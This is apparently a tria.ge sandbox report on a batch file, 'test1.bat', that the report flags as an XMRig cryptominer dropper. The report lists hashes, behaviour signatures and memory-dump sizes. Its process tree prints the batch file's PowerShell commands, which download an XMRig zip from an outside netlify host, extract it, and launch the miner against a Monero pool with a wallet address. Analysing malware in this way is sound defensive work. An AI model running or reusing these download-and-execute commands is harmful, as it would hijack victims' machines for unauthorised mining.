Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
07/03/2024, 19:07
240307-xsx6dscd3w 1007/03/2024, 19:07
240307-xswybscd3s 1007/03/2024, 19:07
240307-xsvehacd2z 1007/03/2024, 19:07
240307-xss7facd2x 1007/03/2024, 19:07
240307-xsrzdabe29 1007/03/2024, 19:07
240307-xsqfjscc91 1007/03/2024, 19:07
240307-xsn8gsbe26 1007/03/2024, 19:07
240307-xsmpnabe24 1007/03/2024, 19:07
240307-xslglacc9z 1007/03/2024, 19:06
240307-xsjyrsbd97 10Analysis
-
max time kernel
1784s -
max time network
1806s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
07/03/2024, 19:07
General
-
Target
test1.bat
-
Size
620B
-
MD5
ae675cd3674938550035ef5176a7f8c4
-
SHA1
05896e426ed40e31de4d3b2151f7b64ba8882db0
-
SHA256
0f027fbb0fb8773bb159c37148b974ba3d6a43a5f63890df13ae31cef233b994
-
SHA512
8ab4a7ac21123a9fd7d853e289dc4b4a54e531526e51f9fbbdc11f7d65b7a527c936ca6bfb439a459bd57dac032e28f9519ffdbdc158592b1362fe6def57cdfe
Malware Config
Signatures
-
XMRig Miner payload 59 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test1.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {iwr -URI 'https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip' -OutFile 'C:\xmrig\xmrig-6.21.1-gcc-win64.zip';}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {Add-Type -A 'System.IO.Compression.FileSystem';[IO.Compression.ZipFile]::ExtractToDirectory('C:\xmrig\xmrig-6.21.1-gcc-win64.zip', 'C:\xmrig');}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe -coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --threads=8 --cpu-no-yield2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD56c4805e00673bef922d51b1a7137028f
SHA10eabb38482d1733dd85a2af9c5342c2cafcd41eb
SHA2567af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd
SHA512eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
7.9MB
MD57fe01842d8fec7b62705d27636354c7f
SHA16a471bb66cbf9c6e61be7bb75af5ff7d33f1d620
SHA256aa5aa045006070e1781dd6bc25215d363ed1628741207b5f3afdf040ecf36c0c
SHA5121efa8e7e0b5ff37ae3a9c0c52d67b0dd7aaa95713dc6854b032725f50240ee040100990afe93ebdcc9c4abb1ef06b9aecb0b39d4f0c8b09e02f020e064d27567
-
Filesize
72KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB